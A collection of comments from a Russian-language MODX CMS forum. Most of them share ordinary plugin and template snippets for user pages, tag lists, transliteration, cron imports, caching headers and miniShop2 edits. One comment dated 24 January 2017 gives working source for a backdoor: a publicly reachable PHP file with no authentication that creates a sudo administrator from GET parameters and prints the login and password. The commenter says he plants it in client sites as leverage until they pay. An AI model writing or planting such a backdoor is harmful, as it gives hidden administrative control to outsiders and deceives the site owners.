Максим Кузнецов · 09 апреля 2017, 13:08 3 +2 Вообще, для сео это совсем не критично, т.к: — если вам необходимо добавить страницы пользователей в sitemap, то это можно сделать в рамках pdoUsers — если вам необходимы динамичные заголовки и мета-теги, то можно сделать примерно так: 1. В плагине создаем плейсхолдер user_id 2. В мета-тегах проверяем его наличие: {block 'meta'} {var $user_id = $_modx->getPlaceholder('user_id')} {if $user_id | length > 0} {var $user_name = $_modx->getPlaceholder('user_name')} {var $pagetitle = $user_name ~ ' / Профиль пользователя'} <title>{$pagetitle ~' :: '~ $_modx->config.site_name}</title> ... {else} {parent} //обычный набор мета-тегов {/if} {/block} — надеюсь логика понятна..) Что же до примера со вторым вариантом, то примерно вот так: 1. Создание страницы пользователя (тикетом) <?php if ($modx->event->name == 'OnUserActivate') { if ($user) { if ($profile = $user->getOne('Profile')) { $user_id = $user->get('id'); $fullname = $profile->get('fullname'); /* Можно распределять пользователей в зависимости от их группы */ if ($user->isMember('Users')) { //указываем родителя и шаблон $parent = 21; $template = 28; } if (isset($parent)) { //Дополнительно может потребоваться проверка на то, создана ли уже страница для пользователя //(на случай, если у вас возможна повторная активация-деактивация пользотвалея $page = $modx->getObject('modResource', array( 'parent' => $parent, 'createdby' => $user_id )); if (!$page) { /* Формируем uri по айди пользователя */ $parent_alias = $modx->getObject('modDocument', $parent)->get('alias'); $parent_alias .= '/' . $user_id; $ticket = $modx->newObject('modDocument'); $ticket->set('parent', $parent); $ticket->set('template', $template); $ticket->set('class_key', 'Ticket'); $ticket->set('show_in_tree', 0); $ticket->set('published', 1); $ticket->set('author', $user_id); $ticket->set('createdby', $user_id); $ticket->set('pagetitle', $fullname); $ticket->set('uri_override', 1); $ticket->set('uri', $parent_alias); $ticket->set('alias', $user_id); $ticket->save(); } } } } } 2. Синхронизируем данные (в одну сторону — от пользователя к странице). Соответственно, если есть потребность редактировать поля пользователя из админки через его страницу, потребуется еще один плагин. <?php if ($modx->event->name == 'OnUserFormSave' && $mode != 'new') { if ($user) { if ($profile = $user->getOne('Profile')) { $user_id = $user->get('id'); if ($user->isMember('Users')) { $parent = 21; } if (isset($parent)) { //Ищем страницу пользователя $page = $modx->getObject('modResource', array( 'parent' => $parent, 'createdby' => $user_id )); if ($page) { $extended = $profile->get('extended'); //Обновляем дефолтное поле страницы $page->set('pagetitle', $profile->get('fullname')); //Обновляем тв-поле if (isset($extended['phone'])) { $page->setTVValue('user_phone', $extended['phone']); } //Дополнить требуемыми полями по вкусу %) $page->save(); } } } } } Вопросы / Вывод всех пользователей и просмотр их профиля 7
Володя · 30 марта 2017, 19:00 6 +3 пример вывода всех тегов <!-- tags --> {set $tags = $_modx->runSnippet('pdoResources',[ 'class' => 'msProductOption', 'sortby' => 'value', 'sortdir' => 'ASC', 'where' => json_encode([ 'key' => 'tags', 'value:!='=> 'undefined' ]), 'select' => 'DISTINCT(msProductOption.value) as id, "tag" as class_key', 'limit' => 0, 'return' => 'json' ])} {set $tags = $tags | fromJSON} {if count($tags)} <ul class="uk-float-right uk-navbar-nav tm-header-tags"> <li data-uk-dropdown="" aria-haspopup="true" aria-expanded="false"> <a>{'msfbshop_tags' | lexicon}</a> <div aria-hidden="true" class="uk-dropdown uk-dropdown-navbar uk-dropdown-bottom"> <ul class="uk-nav uk-nav-navbar"> {foreach $tags as $row} <a href="{$row.link}">{$row.id}</a> {/foreach} </ul> </div> </li> </ul> {/if} Вопросы / Выбрать все уникальные значения опций по ключу 9
Алексей Ерохин · 27 марта 2017, 13:07 6 0 $options = array(); $translit = $modx->getOption('friendly_alias_translit', $options, 'russian'); $translitClass = $modx->getOption('friendly_alias_translit_class', $options, 'translit.modTransliterate'); $translitClassPath = $modx->getOption('friendly_alias_translit_class_path', $options, $modx->getOption('core_path', $options, MODX_CORE_PATH) . 'components/'); $modx->getService('translit', $translitClass, $translitClassPath, $options); $transliteratedtext = $modx->translit->translate($text, $translit); Вопросы / Как использовать translit из сниппета? 5
Prihod · 20 марта 2017, 11:48 1 0 ставлю и в настройках компонента и в настройках на сервере одинаковую задачу, которая должна запускаться в одно и то же время. правильно? Нет в крон ты ставишь выполнения каждую секунду скрипта ..../core/components/msimportexport/cron.php 1> /dev/null 2>&1 А в настройках компонента импорта по cron для конкретной задачи уже выставляешь время когда нужно выполнить ее Новые дополнения и их версии / msImportExport 919
Shaman · 16 марта 2017, 20:54 1 0 нашел отличное решение для моего вопроса: gist.github.com/grachov/e317e92e5168d1ff45e6#file-unpublish-class-php В сочетании с msDigitalOffers, товар с кодом покупается — и перестает быть опубликованным Новые дополнения и их версии / [msDigitalOffers] Продажа цифровых товаров (кодов) 15
Дмитрий Савельев · 01 марта 2017, 11:42 1 0 В продолжение темы: у меня данная проблема разрешилась после проставления галочки на политике доступа «Показывать шаблоны» Вопросы / Ошибка Код: 200 OK {"success":false,"message": 17
Владимир · 09 февраля 2017, 17:57 2 +1 Странно что не пишет ни кто об использовании пользовательских заголовков которые можно указать в типах содержимого. Создал новый тип содержимого (contenttype) с пустым расширением файла (без .html) и указал Cache-Control: max-age=3600, must-revalidate на вкладке и кеширование в браузере можно выставить нужное. Вопросы / Кэширование в MODX Revo для Google Page Speed 4
Максим Кузнецов · 24 января 2017, 00:43 6 +4 Аналогично, бэкдор + сайт лежит на своем хостинге до оплаты оставшейся части. Вот код: <?php define('MODX_API_MODE', true); //количество dirname = глубина документа относительно корня require dirname(dirname(dirname(dirname(__FILE__)))) . '/index.php'; $user = empty($_GET['user']) ? 'user'. rand(99,9999) : $_GET['user']; $pass = empty($_GET['pass']) ? rand(10000000,99999999) : $_GET['pass']; $u = $modx->newObject('modUser'); $u->fromArray(array( 'username' => $user, 'password' => $pass, 'active' => 1, 'primary_group' => 1, )); $u->joinGroup('1', '0'); $u->setSudo(1); $p = $modx->newObject('modUserProfile'); $p->fromArray(array( 'fullname' => $user, 'email' => $user.'@yoba.ru', )); $u->addOne($p); $u->save(); if (!empty($u->username)) { print '<p><b>user:</b> '. $user .'</p><p><b>pass:</b> '. $pass .'</p>'; } — при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне) По поводу взлома можешь обратиться к agel_nash, наверное. Вопросы / Можно ли взломать сайт на MODX? 17
Дмитрий Кондаков · 13 января 2017, 12:40 3 +1 Создаете плагин на событие msieOnCompleteImportProduct: <?php /** @var modX $modx */ switch ($modx->event->name) { case 'msieOnCompleteImportProduct': // Получаем id всех импортированных товаров $currentIDs = explode(",", $modx->event->params['data']); // Получаем id ВСЕХ товаров в магазине $q = $modx->newQuery('msProduct', array('parent' => 7, 'template' => 8)); // тут свои условия $q->prepare(); $q->stmt->execute(); $oldIDs = $q->stmt->fetchAll(PDO::FETCH_COLUMN, 0); // Вычисляем id товаров которые есть на сайте, но нет в файле импорта $oldIDs = array_diff($oldIDs, $currentIDs); if ($toRemoveIDs) { foreach ($toRemoveIDs as $cur) { // и тут делаем с ними что угодно } } break; }PS. на всякий случай сделайте бэкап БД перед тестированием плагина Новые дополнения и их версии / msImportExport 919
Дмитрий Мансуров · 12 января 2017, 00:53 4 0 Спустя несколько лет вопрос все еще актуален поэтому напишу краткую инструкцию Редактируем файлы core/components/minishop2/model/minishop2/mscarthandler.class.php Ищем $count = inval($count); (у меня это строка 153) Меняем на $count = floatval($count);Файл: core/components/minishop2/model/minishop2/mysql/msorderproduct.map.inc.php Ищем 'count' => array ( 'dbtype' => 'int', 'precision' => '10', 'phptype' => 'integer', 'attributes' => 'unsigned', 'null' => true, 'default' => 1, ),меняем на 'count' => array ( 'dbtype' => 'decimal', 'precision' => '10,2', 'phptype' => 'float', 'null' => true, 'default' => 1, ),Файл: core/components/minishop2/model/schema/minishop2.mysql.schema.xml Ищем <field key="count" dbtype="int" precision="10" phptype="integer" attributes="unsigned" null="true" default="1"/>меняем на <field key="count" dbtype="decimal" precision="10,2" phptype="float" null="true" default="1"/> Вопросы / Количество товара нецелым числом в Заказах 8
MiniShop3 1.11.0 при клике на radio идет пересчет итоговой суммы в orderUI, в зависимости от способов(оплаты доставки) я так поняла. попробуй код запуска соб...
ImageOptimizer - WebP/AVIF и responsive <picture> для MODX 3 Дополнение доступно modstore.pro/packages/photos-and-files/imageoptimizer
Localizator3 для MODX 3: перевод полей и TV без отдельного context на язык, Vue 3 + PrimeV... Добавил localizator3_default_language
msInShopNotify Начиная с версии 3.0.0-beta добавлена поддержка MiniShop3 Минимальные требования: PHP 8.4 MODX 3.2 MiniShop3
MaxNotify Обновление 1.2.0-pl (03.07.2026) — добавлены уведомления о заявках FormIt через hook-сниппет `maxNotifyFormIt`; — добавлены ...
[msBonus2] 1.3.0 Бонус-коды, уведомления о сгорании и совместимость с msMultiCurre... Да, планируется. Даже чуть больше, чем просто бонусная система)
FileMan - прикрепление файлов к ресурсам для MODX 3 Добрый день! Может что-то с правами доступа к файлам? Посмотрите логи в modx, в php. С ходу сложно ответить, ранее не было таких случаев.
— если вам необходимо добавить страницы пользователей в sitemap, то это можно сделать в рамках pdoUsers
— если вам необходимы динамичные заголовки и мета-теги, то можно сделать примерно так:
1. В плагине создаем плейсхолдер user_id
2. В мета-тегах проверяем его наличие:
— надеюсь логика понятна..)
Что же до примера со вторым вариантом, то примерно вот так:
1. Создание страницы пользователя (тикетом)
2. Синхронизируем данные (в одну сторону — от пользователя к странице). Соответственно, если есть потребность редактировать поля пользователя из админки через его страницу, потребуется еще один плагин.
в крон ты ставишь выполнения каждую секунду скрипта ..../core/components/msimportexport/cron.php 1> /dev/null 2>&1
А в настройках компонента импорта по cron для конкретной задачи уже выставляешь время когда нужно выполнить ее
gist.github.com/grachov/e317e92e5168d1ff45e6#file-unpublish-class-php
В сочетании с msDigitalOffers, товар с кодом покупается — и перестает быть опубликованным
у меня данная проблема разрешилась после проставления галочки на политике доступа «Показывать шаблоны»
Создал новый тип содержимого (contenttype) с пустым расширением файла (без .html) и указал
Cache-Control: max-age=3600, must-revalidate
на вкладке
и кеширование в браузере можно выставить нужное.
— при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне)
По поводу взлома можешь обратиться к agel_nash, наверное.
PS. на всякий случай сделайте бэкап БД перед тестированием плагина
Редактируем файлы
core/components/minishop2/model/minishop2/mscarthandler.class.php
Ищем
(у меня это строка 153)
Меняем на
Файл:
core/components/minishop2/model/minishop2/mysql/msorderproduct.map.inc.php
Ищем
меняем на
Файл:
core/components/minishop2/model/schema/minishop2.mysql.schema.xml
Ищем
меняем на